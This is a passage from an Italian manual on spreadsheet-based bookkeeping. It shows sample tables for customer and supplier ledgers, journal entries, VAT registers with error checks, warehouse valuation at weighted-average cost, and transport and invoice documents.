3	x	10	Alberoni & C.	piazza Tiritera, 28	50018	Scandicci	FI	1720430485	1		3600,00	d	banca della valle
4	x	20	Belletti Ugo	via Terraglio, 78	31100	Treviso	TV	2403210269	2		1800,00	d	banca della collina
5		30	Super bit srl	via Barbablu, 78	47037	Rimini	RN	01620430403	3		0,00		banca del monte
6											0,00		
7											0,00		
8											0,00		
9											0,00		

Figura 123.57. Scheda anagrafica dei fornitori. Le colonne I e J danno automaticamente l'eccedenza di ogni fornitore, in base a quanto si può desumere dal giornale di contabilità generale; nelle celle I2:J2 appare l'eccedenza complessiva dei fornitori, che deve coincidere con quella che si trova nel piano dei conti, in corrispondenza del conto «debiti verso fornitori».

	A	B	C	D	E	F	G	H	I	J
1	x	codice fornitore	denominazione	indirizzo	cap	città	pr.	codice fiscale o partita IVA	situazione contabile	
2	x	riordinare l'area di colore grigio (da B3 a H112), secondo la colonna B, in modo crescente							**2654,60**	**a**
3	x	4	Tutto hardware	via Nacchere, 78	20052	Monza	MI	04732150158	2654,60	a
4		10	ENEL elettricità	via Ombrone, 2	00198	Roma	RM	05779711000	0,00	
5		11	Telecom	piazza Degli Affari, 2	20123	Milano	MI	00488410010	0,00	
6									0,00	
7									0,00	
8									0,00	
9									0,00	

123.5.3 Libro giornale

Nel libro giornale, le scritture si arricchiscono delle informazioni sui clienti e sui fornitori coinvolti; inoltre è bene aggiungere anche i dati dei documenti a cui si riferiscono le operazioni. L'indicazione nel libro giornale dei codici dei clienti e dei fornitori, fa sì che le tabelle delle anagrafiche rispettive vengano aggiornate con le eccedenze di ognuno di loro.

Figura 123.58. Libro giornale con alcune scritture di acquisto e di vendita di merci.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N
1			data reg.		conto	cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere	
2	x	1	04 giu	4101	merci c/acquisti			Ricevuta fattura per acquisto di merci, pagamento a 60 giorni con emissione di cambiale tratta, per la quale ci viene addebitato il bollo.	224	03 giu	123	1 000,00		1 000,00
3	x	1		4901	oneri fiscali diversi							14,60		1 014,60
4	x	1		1601	IVA n/credito							200,00		1 214,60
5	x	1		2501	debiti v/fornitori		4						1 214,60	0,00
6	x	2	05 giu	1501	crediti v/clienti	10		Emessa fattura di vendita per merci, con pagamento a 30 giorni con rimessa diretta.	231	05 giu		1 800,00		1 800,00
7	x	2		3101	merci c/vendite								1 500,00	300,00
8	x	2		2601	IVA n/debito								300,00	0,00
9	x	3	06 giu	4101	merci c/acquisti			Ricevuta fattura per acquisto di merci, pagamento a 30 giorni con rimessa diretta.	228	05 giu	124	1 200,00		1 200,00
10	x	3		1601	IVA n/credito							240,00		1 440,00
11	x	3		2501	debiti v/fornitori		4						1 440,00	0,00
12	x	4	07 giu	1501	crediti v/clienti	20		Emessa fattura di vendita per merci, con pagamento a 30 giorni con rimessa diretta.	232	07 giu		2 400,00		2 400,00
13	x	4		3101	merci c/vendite								2 000,00	400,00
14	x	4		2601	IVA n/debito								400,00	0,00
15	x	5	08 giu	1501	crediti v/clienti	10		Emessa fattura di vendita per merci, con pagamento a 30 giorni con rimessa diretta.	233	08 giu		1 800,00		1 800,00
16	x	5		3101	merci c/vendite								1 500,00	300,00
17	x	5		2601	IVA n/debito								300,00	0,00
18	x	6	09 giu	3110	resi su vendite			Emessa nota di accredito per merci rese.	234	09 giu		500,00		500,00
19	x	6		2601	IVA n/debito							100,00		600,00
20	x	6		1501	crediti v/clienti	20							600,00	0,00
21		6												0,00

123.5.4 Partitario clienti e fornitori

Per produrre un partitario dei clienti e dei fornitori si usano le schede '**c1**', '**c2**',... e '**f1**', '**f2**',... analoghe a quelle che servono per i conti normali. In queste schede, la differenza sta nel fatto che si indica il codice del cliente o del fornitore, invece che quello del conto.

Come nel caso del partitario dei conti, anche queste schede vanno filtrate prima della stampa, come si vede nell'esempio delle figure successive.

Figura 123.59. Scheda del cliente Alberoni già filtrata.

	A	B	C	D	E	F	G	H	I
1	x	codice cliente	scheda del cliente: «Alberoni & C.»					eccedenza dare	eccedenza avere
2	x	10						3 600,00	0,00
3	x								
4	x	n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
9	x	2	05/06	231	05/06		Emessa fattura di vendita per merci, con pagamento a 30 giorni con rimessa diretta.	1 800,00	0,00
18	x	5	08/06	233	08/06		Emessa fattura di vendita per merci, con pagamento a 30 giorni con rimessa diretta.	1 800,00	0,00
505	x	n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

Figura 123.60. Scheda del cliente Belletti Ugo già filtrata.

	A	B	C	D	E	F	G	H	I
1	x	codice cliente	scheda del cliente: «Belletti Ugo»					eccedenza dare	eccedenza avere
2	x	20						1 800,00	0,00
3	x								
4	x	n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
15	x	4	07/06	232	07/06		Emessa fattura di vendita per merci, con pagamento a 30 giorni con rimessa diretta.	2 400,00	0,00
23	x	6	09/06	234	09/06		Emessa nota di accredito per merci rese.	0,00	600,00
505	x	n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

Figura 123.61. Scheda del fornitore Tutto hardware, già filtrata.

	A	B	C	D	E	F	G	H	I
1	x	codice fornitore	scheda del fornitore: «Tutto hardware»					eccedenza dare	eccedenza avere
2	x	4						0,00	2 654,60
3	x								
4	x	n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
8	x	1	04/06	224	03/06	123	Ricevuta fattura per acquisto di merci, pagamento a 60 giorni con emissione di cambiale tratta, per la quale ci viene addebitato il bollo.	0,00	1 214,60
14	x	3	06/06	228	05/06	124	Ricevuta fattura per acquisto di merci, pagamento a 30 giorni con rimessa diretta.	0,00	1 440,00
505	x	n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

Le schede del partitario clienti e fornitori possono essere duplicate per gestirne simultaneamente un numero maggiore di quelle già disponibili.

123.6 Registri IVA

La compilazione dei registri IVA, ovvero i registri delle fatture, oltre alla codifica dei clienti e dei fornitori, richiede anche quella dei vari casi di applicazione dell'IVA. Pertanto, è prevista una scheda con la descrizione dei vari tipi di IVA.

123.6.1 Codici IVA

La scheda denominata '**`iva`**' serve a elencare i vari tipi di IVA, come si vede nell'esempio della figura successiva. Si osservi che la colonna A riporta dei codici, mentre è nella colonna C che sono riportate le percentuali effettive.

Figura 123.62. Tabella dei codici IVA con alcuni esempi di compilazione.

	A	B	C	D	E
1	codici IVA				
2	codice IVA	descrizione	percentuale IVA	percentuale di indeducibilità	imponibile = 1 non imponibile = 0
3	riordinare l'area di colore grigio (da A4 a E23), secondo la colonna A, in modo crescente				
4	10%	aliquota 10%	10,00%	0%	1
5	10%ind	aliquota 10% indetraibile	10,00%	100%	1
6	20%	aliquota 20%	20,00%	0%	1
7	20%ind	aliquota 20% indetraibile	20,00%	100%	1
8	4%	aliquota 4%	4,00%	0%	1
9	4%ind	aliquota 4% indetraibile	4,00%	100%	1
10	es10	esclusa art. 10	0,00%	0%	0
11	es15	esclusa art. 15	0,00%	0%	0
12	es2	esclusa art. 2	0,00%	0%	0
13	es3	esclusa art. 3	0,00%	0%	0
14	es4	esclusa art. 4	0,00%	0%	0
15	es5	esclusa art. 5	0,00%	0%	0
16	ni8	non imponibile art. 8	0,00%	0%	0
17	ni8bis	non imponibile art. 8bis	0,00%	0%	0
18	ni9	non imponibile art. 9	0,00%	0%	0
19					
20					
21					
22					
23					

123.6.2 Registri delle fatture

Il registri delle fatture sono realizzati dalle schede '**`rfa`**' (registro fatture di acquisto) e '**`rfv`**' (registro fatture di vendita) del foglio di lavoro. Le schede dei due registri, contengono a loro volta due tabelle: l'elenco dettagliato degli imponibili, fattura per fattura, e il riepilogo per aliquota.

Figura 123.63. Parte superiore della scheda del registro degli acquisti, contenente il dettaglio degli imponibili.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q
1	x		registro delle fatture di acquisto														
2	x		data di registrazione	data del documento	indicatore di errore	numero prot.	indicatore di errore	fornitore		fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione	
3																	
4	x		4 giu 2010	3 giu 2010		123		4	Tutto hardware	fatt.	1214,60	1000,00	20%	200,00		aliquota 20%	
5	x											14,60	es15	0,00		esclusa art. 15	
6	x		6 giu 2010	5 mag 2010		124		4	Tutto hardware	fatt.	1440,00	1200,00	20%	240,00		aliquota 20%	
7																	
8																	

Figura 123.64. Parte inferiore della scheda del registro degli acquisti, contenente il riepilogo per aliquota.

	A	C	D–J	K	L	M–N
107	x	riepiloghi				
108	x	codice IVA	descrizione	imponibili	imposte	imposte deducibili
109		10%	aliquota 10%	0,00	0,00	0,00
110		10%ind	aliquota 10% indetraibile	0,00	0,00	0,00
111	x	20%	aliquota 20%	2200,00	440,00	440,00
112		20%ind	aliquota 20% indetraibile	0,00	0,00	0,00
113		4%	aliquota 4%	0,00	0,00	0,00
114		4%ind	aliquota 4% indetraibile	0,00	0,00	0,00
115		es10	esclusa art. 10	0,00	0,00	0,00
116	x	es15	esclusa art. 15	14,60	0,00	0,00
117		es2	esclusa art. 2	0,00	0,00	0,00
118		es3	esclusa art. 3	0,00	0,00	0,00
119		es4	esclusa art. 4	0,00	0,00	0,00
120		es5	esclusa art. 5	0,00	0,00	0,00
121		ni8	non imponibile art. 8	0,00	0,00	0,00
122		ni8bis	non imponibile art. 8bis	0,00	0,00	0,00
123		ni9	non imponibile art. 9	0,00	0,00	0,00
124		0		0,00	0,00	0,00
125		0		0,00	0,00	0,00
126		0		0,00	0,00	0,00
127		0		0,00	0,00	0,00
128		0		0,00	0,00	0,00
129	x		totali	2214,60	440,00	440,00

La scheda del registro degli acquisti va filtrata prima della stampa, in modo da ridurla alle sole righe che contengono dati utili. Il filtro si basa sulla presenza della lettera «x» nella colonna A.

Figura 123.65. Scheda del registro degli acquisti, filtrata e pronta per la stampa. Va osservato che la data del documento protocollato con il numero 124 precede di un mese la data di registrazione e potrebbe trattarsi di un errore, che però non viene segnalato dalla scheda.

	A	C	D	E	F	G	H	I	J	K	L	M	N	O	P
1	x	registro delle fatture di acquisto													
2	x	data di registrazione	data del documento	indicatore di errore	numero prot.	indicatore di errore	fornitore		fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione
4	x	4 giu 2010	3 giu 2010		123		4	Tutto hardware	fatt.	1214,60	1000,00	20%	200,00		aliquota 20%
5	x										14,60	es15	0,00		esclusa art. 15
6	x	6 giu 2010	5 mag 2010		124		4	Tutto hardware	fatt.	1440,00	1200,00	20%	240,00		aliquota 20%
105	x	totali								2654,60	2214,60		440,00		
106	x														
107	x	riepiloghi													
108	x	codice IVA	descrizione							imponibili	imposte	imposte deducibili			
111	x	20%	aliquota 20%							2200,00	440,00		440,00		
116	x	es15	esclusa art. 15							14,60	0,00		0,00		
129	x	totali								2214,60	440,00		440,00		

Per la compilazione dei registri, vanno indicati imponibili e imposte positivi se si tratta di fatture (di vendita o di acquisti), mentre vanno usati valori negativi se si tratta di note di accredito: il segno di questi valori fa determinare se si tratta del primo o del secondo caso.

Va osservato che, secondo tale organizzazione, le note di accredito vanno annotate nel registro delle fatture a cui si riferiscono. Pertanto, una nota di accredito emessa per correggere una vendita, va indicata nel registro IVA delle vendite; così, una nota di accredito ricevuta da un fornitore per correggere un acquisto, va annotata nel registro IVA degli acquisti.

Figura 123.66. Scheda del registro delle vendite, filtrata e pronta per la stampa. In questo caso si vede anche l'indicazione di una nota di accredito.

	A	C	D	E	F	G	H	I	J	K	L	M	N	O	P
1	x	registro delle fatture di vendita													
2	x	data di registrazione	data del documento	indicatore di errore	numero doc.	indicatore di errore		cliente	fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione
4	x	5 giu 2010	5 giu 2010		231		10	Alberoni & C.	fatt.	1800,00	1500,00	20%	300,00		aliquota 20%
5	x	7 giu 2010	7 giu 2010		232		20	Belletti Ugo	fatt.	2400,00	2000,00	20%	400,00		aliquota 20%
6	x	8 giu 2010	8 giu 2010		233		10	Alberoni & C.	fatt.	1800,00	1500,00	20%	300,00		aliquota 20%
7	x	9 giu 2010	9 giu 2010		234		20	Belletti Ugo	n. acc.	-600,00	-500,00	20%	-100,00		aliquota 20%
105	x				totali					5400,00	4500,00		900,00		
106	x														
107	x	riepiloghi													
108	x	codice IVA	descrizione							imponibili	imposte	imposte deducibili			
111	x	20%	aliquota 20%							4500,00	900,00		900,00		
129	x				totali					4500,00	900,00		900,00		

I dati inseriti sono sottoposti a dei controlli. Per esempio la data del documento non può essere successiva a quella di registrazione; il numero di protocollo (per le fatture di acquisto) deve essere progressivo; il calcolo dell'IVA deve essere valido secondo i termini di legge. Va osservato che il valore dell'imposta deve essere inserito manualmente, perché va ricopiato ciò che appare in fattura: in questo modo si può anche controllare che il valore sia ammissibile.

Figura 123.67. Registro delle fatture di acquisto contenente alcuni errori, segnalati da dei numeri «1» in rosso.

	A	C	D	E	F	G	H	I	J	K	L	M	N	O	P
1	x	registro delle fatture di acquisto													
2	x	data di registrazione	data del documento	indicatore di errore	numero prot.	indicatore di errore		fornitore	fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione
3															
4	x	4 giu 2010	5 giu 2010	1	123		4	Tutto hardware	fatt.	1214,59	1000,00	20%	199,99	1	aliquota 20%
5	x										14,60	es15	0,00		esclusa art. 15
6	x	6 giu 2010	5 mag 2010		125	1	4	Tutto hardware	fatt.	1440,00	1200,00	20%	240,00		aliquota 20%
7															
105	x				totali					2654,59	2214,60		439,99		
106	x														
107	x	riepiloghi													
108	x	codice IVA	descrizione							imponibili	imposte	imposte deducibili			Attenzione: ci sono errori nelle date dei documenti o in quelle di registrazione!
109		10%	aliquota 10%							0,00	0,00		0,00		
110		10%ind	aliquota 10% indetraibile							0,00	0,00		0,00		
111	x	20%	aliquota 20%							2200,00	439,99		439,99		
112		20%ind	aliquota 20% indetraibile							0,00	0,00		0,00		Attenzione: ci sono errori nella sequenza dei numeri dei documenti!
113		4%	aliquota 4%							0,00	0,00		0,00		
114		4%ind	aliquota 4% indetraibile							0,00	0,00		0,00		
115		es10	esclusa art. 10							0,00	0,00		0,00		
116	x	es15	esclusa art. 15							14,60	0,00		0,00		Attenzione: ci sono errori nel calcolo dell'IVA!
117		es2	esclusa art. 2							0,00	0,00		0,00		
118		es3	esclusa art. 3							0,00	0,00		0,00		
119		es4	esclusa art. 4							0,00	0,00		0,00		
129	x				totali					2214,60	439,99		439,99		

123.7 Contabilità di magazzino

Con il foglio di lavoro descritto in questi capitoli, è possibile annotare dei movimenti di magazzino, dai quali si possono poi trarre degli indici e delle valorizzazioni al costo medio.

Il file con gli esempi usati in questo capitolo è disponibile presso ⟨*allegati/gestionale/esempio-magazzino.ods* ⟩.

123.7.1 Articoli di magazzino

La scheda '**`articoli`**', del foglio di lavoro, si utilizza per elencare gli articoli di magazzino. Il primo gruppo di colonne serve ad annotare le caratteristiche degli articoli e le informazioni necessarie alla gestione della fatturazione; il secondo gruppo dà invece, automaticamente, le informazioni sulla situazione degli articoli, sulla base dei movimenti esistenti. In particolare, nelle celle I1:I2 va indicato il periodo di riferimento, necessario per il calcolo di alcuni indici.

Figura 123.68. Scheda degli articoli di magazzino, compilata con dati di esempio.

	A	B	C	D	E	F	G	H	I	J	K	L	M
1	x		Articoli di magazzino				periodo	dal	01/01		durata complessiva del periodo		365
2	x							al	31/12				
3	x	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto (non usato)	caricato	scaricato	esistenza	esistenza x permanenza	consistenza media	indice di rotazione	durata media
4	x	riordinare l'area di colore grigio (da B5 a F104), secondo la colonna B, in modo crescente											
5	x	1	telo copri monitor	€ 5,00	20,00%		190,0000	190,0000	0,0000	580	1,5890	119,57	3,05
6	x	2	porta CD/DVD da viaggio	€ 5,00	20,00%		300,0000	200,0000	100,0000	37000	101,3699	1,97	185,00
7		3	porta CD/DVD a colonna	€ 10,00	20,00%		0,0000	0,0000	0,0000	0	0,0000	-	-
8		4	luce per notebook usb	€ 10,00	20,00%		0,0000	0,0000	0,0000	0	0,0000	-	-
9		5	adattatore da AT a PS/2	€ 3,00	20,00%		0,0000	0,0000	0,0000	0	0,0000	-	-
10		6	adattatore da PS/2 a AT	€ 3,00	20,00%		0,0000	0,0000	0,0000	0	0,0000	-	-
11		7	borsa per notebook	€ 20,00	20,00%		0,0000	0,0000	0,0000	0	0,0000	-	-

Il blocco di celle B5:F104 va riordinato per codice, prima della stampa della tabella; inoltre, è possibile ridurre l'elenco degli articoli a quelli usati effettivamente nei movimenti di magazzino, attraverso il filtro delle sole righe che contengono una «x» nella colonna A.

123.7.2 Movimenti di magazzino

La scheda '**`movimenti`**', del foglio di lavoro, si utilizza per la compilazione del giornale di magazzino. Nella colonna G si indicano le quantità caricate, se il valore ha un segno positivo, oppure i resi su acquisti se il valore ha un segno negativo. Nella colonna H si indicano le quantità scaricate con segno positivo; per quanto riguarda i resi su vendite sarebbe meglio modificare la registrazione di scarico, ma se non si può agire in questo modo, si può registrare uno scarico con quantità negativa, tenendo conto, però, che questo fatto altera la valorizzazione degli scarichi al costo medio ponderato per movimento. La colonna I si usa solo per i carichi, o per i resi su acquisti, per indicare il valore complessivo dei carichi o dei resi (nel caso di resi il valore deve essere negativo.

Figura 123.69. Giornale di magazzino con alcuni movimenti di esempio. Si osservi la presenza di un reso su acquisti, valorizzato nello stesso modo dell'acquisto a cui si riferisce.

	A	B	C	D	E	F	G	H	I
1	x	Giornale di magazzino							
2	x	n.	data	codice	articolo	descrizione dell'operazione	+ carico – reso su acq.	+ scarico (– reso su vend.)	+ valore carico – valore reso su acq.
3	x								
4	x	1	01/01	1	telo copri monitor	acquisto	100,0000		1000,00
5	x	2	02/01	2	porta CD/DVD da viaggio	acquisto	300,0000		3000,00
6	x	3	03/01	1	telo copri monitor	vendita		30,0000	
7	x	4	04/01	2	porta CD/DVD da viaggio	vendita		100,0000	
8	x	5	05/01	1	telo copri monitor	vendita		60,0000	
9		5			-				
10		5			-				
11	x	6	06/01	2	porta CD/DVD da viaggio	vendita		100,0000	
12	x	7	07/01	1	telo copri monitor	acquisto	100,0000		900,00
13	x	8	08/01	1	telo copri monitor	vendita		50,0000	
14	x	9	09/01	1	telo copri monitor	reso su acquisto del 1/1	-10,0000		-100,00
15	x	10	10/01	1	telo copri monitor	vendita		50,0000	
16		10			-				
17		10			-				

Dall'esempio che appare nella figura, si può osservare che è lecito saltare delle righe, perché è sufficiente filtrare la scheda in modo da visualizzare solo quelle che hanno una lettera «x» nella colonna A, la quale poi, di norma, non viene stampata.

123.7.3 Valorizzazione al costo medio ponderato per movimento

La scheda '**`cmpm1`**' consente di ottenere la situazione di un articolo, offrendo una valorizzazione degli scarichi al costo medio ponderato per movimento. L'unica informazione da inserire nella scheda in questione è il codice dell'articolo nella cella B2; successivamente è necessario filtrare le righe per mostrare solo quelle che hanno una lettera «x» nella colonna A.

Figura 123.70. Valorizzazione al costo medio ponderato per movimento del primo articolo considerato negli esempi. Il risultato è già filtrato come serve per procedere alla stampa.

	A	B	C	D	E	F	G	H	I
1	x	articolo	scheda di magazzino dell'articolo : «telo copri monitor»						
2	x	1							
3	x								
4	x	n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico, al **costo medio ponderato per movimento**	quantità in giacenza	valore della giacenza
5	x	1	01/01	acquisto	100,000	10,000		100,000	1000,00
7	x	3	03/01	vendita	-30,000		10,00	70,000	700,00
9	x	5	05/01	vendita	-60,000		10,00	10,000	100,00
13	x	7	07/01	acquisto	100,000	9,000		110,000	1000,00
14	x	8	08/01	vendita	-50,000		9,09	60,000	545,50
15	x	9	09/01	reso su acquisto del 1/1	-10,000		10,00	50,000	445,50
16	x	10	10/01	vendita	-50,000		8,91	0,000	0,00
105									

Figura 123.71. Valorizzazione al costo medio ponderato per movimento del secondo articolo considerato negli esempi. Il risultato è già filtrato come serve per procedere alla stampa.

	A	B	C	D	E	F	G	H	I
1	x	articolo	scheda di magazzino dell'articolo : «porta CD/DVD da viaggio»						
2	x	2							
3	x								
4	x	n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico, al **costo medio ponderato per movimento**	quantità in giacenza	valore della giacenza
6	x	2	02/01	acquisto	300,000	10,000		300,000	3000,00
8	x	4	04/01	vendita	-100,000		10,00	200,000	2000,00
12	x	6	06/01	vendita	-100,000		10,00	100,000	1000,00
105									

123.7.4 Valorizzazione al costo medio ponderato per periodo

La scheda '`cmpp1`' consente di ottenere la situazione di un articolo, offrendo una valorizzazione degli scarichi al costo medio ponderato per periodo. L'unica informazione da inserire nella scheda in questione è il codice dell'articolo nella cella B2; successivamente è necessario filtrare le righe per mostrare solo quelle che hanno una lettera «x» nella colonna A.

Figura 123.72. Valorizzazione al costo medio ponderato per periodo del primo articolo considerato negli esempi. Il risultato è già filtrato come serve per procedere alla stampa.

	A	B	C	D	E	F	G	H	I
1	x	articolo	scheda di magazzino dell'articolo : «telo copri monitor»						
2	x	1							
3	x								
4	x	n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico al **costo medio del periodo**	quantità in giacenza	valore della giacenza
5	x	1	01/01	acquisto	100,000	10,000		100,000	1000,00
7	x	3	03/01	vendita	-30,000		9,47	70,000	715,90
9	x	5	05/01	vendita	-60,000		9,47	10,000	147,70
13	x	7	07/01	acquisto	100,000	9,000		110,000	1047,70
14	x	8	08/01	vendita	-50,000		9,47	60,000	574,20
15	x	9	09/01	reso su acquisto del 1/1	-10,000		9,47	50,000	479,50
16	x	10	10/01	vendita	-50,000		9,47	0,000	6,00
105									

Figura 123.73. Valorizzazione al costo medio ponderato per periodo del secondo articolo considerato negli esempi. Il risultato è già filtrato come serve per procedere alla stampa.

	A	B	C	D	E	F	G	H	I
1	x	articolo	scheda di magazzino dell'articolo : «porta CD/DVD da viaggio»						
2	x	2							
3	x								
4	x	n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico al **costo medio del periodo**	quantità in giacenza	valore della giacenza
6	x	2	02/01	acquisto	300,000	10,000		300,000	3000,00
8	x	4	04/01	vendita	-100,000		10,00	200,000	2000,00
12	x	6	06/01	vendita	-100,000		10,00	100,000	1000,00
105									

123.8 Vendite

Con il foglio di lavoro descritto in questi capitoli è possibile produrre i documenti comuni relativi alle vendite: fatture, note di accredito e cambiali tratte, partendo dai dati anagrafici dell'azienda, da quelli dei clienti, dall'elenco delle banche di appoggio, dall'elenco degli articoli di magazzino e da una tabella di condizioni di pagamento. Va osservato che nelle fatture non è stata automatizzata la gestione degli sconti, per lasciare la massima libertà nella modalità con cui possono essere attribuiti; pertanto, le varie schede di clienti, articoli e condizioni di pagamento, avrebbero una colonna per lo sconto, ma questa informazione non viene usata. Inoltre, la compilazione delle note di accredito è abbastanza libera, per poter annotare tutto ciò che serve.

Il file con gli esempi usati in questo capitolo è disponibile presso ⟨*allegati/gestionale/esempio-vendite.ods*⟩.

123.8.1 Condizioni di pagamento

Le condizioni di pagamento sono definite in una tabella contenuta nella scheda '`pagamenti`'; da questa tabella si ottiene in fattura il calcolo automatico della scadenza e del bollo, nel caso si preveda l'emissione di una cambiale tratta. L'elenco delle condizioni di pagamento va riordinato prima della stampa.

Figura 123.74. Esempio di elenco di condizioni di pagamento. In questo caso sono stati previsti dei codici privi di descrizione, per un uso futuro.

	A	B	C	D	E
1	codice pagamento	descrizione	tipo pagamento	scadenza	sconto (NON USATO)
2	riordinare l'area di colore grigio (da A3 a E42), secondo la colonna A, in modo crescente				
3	1	vista fattura	4	0	
4	2				
5	3	rimessa diretta 30 g.d.f.	3	30	
6	4	rimessa diretta 60 g.d.f.	3	60	
7	5				
8	6				
9	7	ricevuta bancaria 30 g.d.f.	2	30	
10	8	ricevuta bancaria 60 g.d.f.	2	60	
11	11	tratta 30 g.d.f.	1	30	
12	12	tratta 60 g.d.f.	1	60	
13					

123.8.2 Tipi di trasporto

I tipi di trasporto, che includono anche i dati anagrafici dei vettori, sono definiti nella tabella contenuta nella scheda '**tra**'; da questa tabella, nei documenti di trasporto o nelle fatture accompagnatorie si ottiene la definizione del tipo di trasporto ed eventualmente l'indicazione del vettore.

Figura 123.75. Esempio di elenco di tipi di trasporto. In questo caso, prima dell'elenco dei vettori, sono stati previsti dei codici privi di descrizione, per un uso futuro.

	A	B	C	D	E	F	G
1	codice	mezzo	vettore				
2			denominazione	indirizzo	cap	città	provincia
3	riordinare l'area di colore grigio (da A4 a G103), secondo la colonna A, in modo crescente						
4	0						
5	1	mittente					
6	2	destinatario					
7	3						
8	4						
9	5						
10	6						
11	7						
12	8						
13	9						
14	10						
15	11	vettore	Martino trasporti	via diritta, 2	31033	Castelfranco Veneto	TV
16	12	vettore	Corriere Calpurnio	via curva, 3	31057	Silea	TV
17							

123.8.3 Porto franco e porto assegnato

La tabella contenuta nella scheda '**porto**' contiene l'elenco delle modalità di consegna e di competenza per le spese di trasporto. Il contenuto di questa tabella riguarda i documenti di trasporto e le fatture accompagnatorie.

Figura 123.76. Porto.

	A	B
1	codice	tipo
2	riordinare l'area di colore grigio (da A3 a B102), secondo la colonna A, in modo crescente	
3	0	
4	1	franco – FMV
5	2	franco – FMC
6		
7		
8		

123.8.4 Aspetto dei beni trasportati

L'aspetto dei beni trasportati, in base al documento di trasporto o alla fattura accompagnatoria, è definito nella tabella contenuta nella scheda '**aspetto**'.

Figura 123.77. Codifica dell'aspetto dei beni trasportati.

	A	B
1	codice	tipo
2	riordinare l'area di colore grigio (da A3 a B102), secondo la colonna A, in modo crescente	
3	0	
4	1	scatole di cartone
5	2	sacchetti di plastica
6	3	alla rinfusa
7		
8		

123.8.5 Causali del trasporto

Le causali del trasporto, ovvero la motivazione per cui questo avviene, sono definite nella tabella contenuta nella scheda '**ctra**'. Questa tabella serve alla compilazione dei documenti di trasporto e delle fatture accompagnatorie.

Figura 123.78. Causali del trasporto.

	A	B
1	codice	descrizione
2	riordinare l'area di colore grigio (da A3 a B102), secondo la colonna A, in modo crescente	
3	0	
4	1	vendita
5	2	omaggio
6	3	reso
7		
8		

123.8.6 Documenti di trasporto

I documenti di trasporto si realizzano attraverso le schede '**`ddt1`**', '**`ddt2`**',... utilizzando la codifica già predisposta per i clienti, gli articoli di magazzino, le modalità di trasporto e consegna.

Figura 123.79. Esempio di documento di trasporto.

	A	B	C	D	E	F
1	*Azienda per le esercitazioni*			documento di trasporto (d.d.t.) (D.P.R. 472 del 14/08/1996)		
2				numero	data emissione	
3				135	10 gennaio 2010	
4	piazza della Vittoria, 3/4			data e orario della consegna o dell'inizio del trasporto		
5	31100 - Treviso - (TV)			10 gen 2010 10:00		
6	p.i.: 80011540269			trasporto a mezzo del		
7	cessionario		2	11	vettore	
8	Belletti Ugo			Indirizzo di destinazione (se diverso da quello del cessionario)		
9	via Terraglio, 78			Belletti Ugo		
10	31100 Treviso (TV)			via Merenda, 1		
11	p.i.: 2403210269			31100 Treviso (TV)		
12	causale del trasporto		1	n. ordine		data ordine
13	vendita					
14	articolo	descrizione				quantità
15	10	miele di acacia 1 kg				200
16	11	cera d'api grezza 1 kg				100
17	12	pappa reale pura 10 g				300
18	13	propoli 20 g				500
19						
20						
21						
22						
23	aspetto esteriore dei beni			n. colli	porto	
24	1	scatole di cartone		22	1	franco – FMV
25	impresa incaricata del trasporto			annotazioni		
26	Martino trasporti					
27	via diritta, 2					
28	31033 Castelfranco Veneto TV					
29	firma del conducente o del vettore			firma del destinatario		
30						

123.8.7 Fatture accompagnatorie

Le fatture accompagnatorie si realizzano attraverso le schede '**`facc1`**', '**`facc2`**',... utilizzando la codifica già predisposta per i clienti, gli articoli di magazzino, le condizioni di pagamento, le modalità di trasporto e di consegna.

Nella fattura accompagnatoria è possibile cambiare l'insieme delle aliquote gestite, intervenendo nelle celle C32:C34.

Figura 123.80. Esempio di fattura accompagnatoria.

	A	B	C	D	E	F	G	H	I
1						fattura accomp. n.		data fattura	
2	*Azienda per le esercitazioni*					122		29 gennaio 2010	
3						codice cliente:	2	data e orario consegna o inizio trasporto	
4	piazza della Vittoria, 3/4							29 gen 2010 10:00	
5	31100 - Treviso - (TV)					Belletti Ugo			
6	p.i.: 80011540269					via Terraglio, 78			
7						31100	Treviso		TV
8						CF o PI:	2403210269		
9	causale del trasporto		1			Indirizzo di destinazione, se diverso			
10	vendita			n. colli	5	Belletti Ugo			
11	aspetto esteriore dei beni		1			via Merenda, 1			
12	scatole di cartone					31100 Treviso (TV)			
13	spese di trasporto			spese di imballo			pagamento		
14							1	vista fattura	
15									
16	ordine				porto	1	trasporto a mezzo del		
17	numero		data		franco – FMV		2	destinatario	
18									
19									
20	articolo	descrizione		quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
21	1	telo copri monitor		10			5,00	50,00	20%
22	2	porta CD/DVD da viaggio		5			5,00	25,00	20%
23									
24									
25									
26									
27									
28									
29						sconto sul totale:	5,00%	-3,75	
30	riepilogo IVA					totale spese non documentate		0,00	
31	imponibile		aliquota	IVA		totale IVA		14,25	
32	0,00		4%	0,00		spese documentate escluse dalla base imponibile		0,00	
33	0,00		10%	0,00		interessi		0,00	
34	71,25		20%	14,25		cauzioni		0,00	
35	ripartizione spese non documentate		aliquota	IVA		bolli		0,00	
36	0,00		4%	0,00		scadenza fattura:		85,50	totale fattura
37	0,00		10%	0,00					
38	0,00		20%	0,00		29 gennaio 2010			
39	impresa incaricata del trasporto				annotazioni				
40									
41									
42	0								
43	firma del conducente o del vettore					firma del destinatario			
44									

123.8.8 Fatture immediate o differite

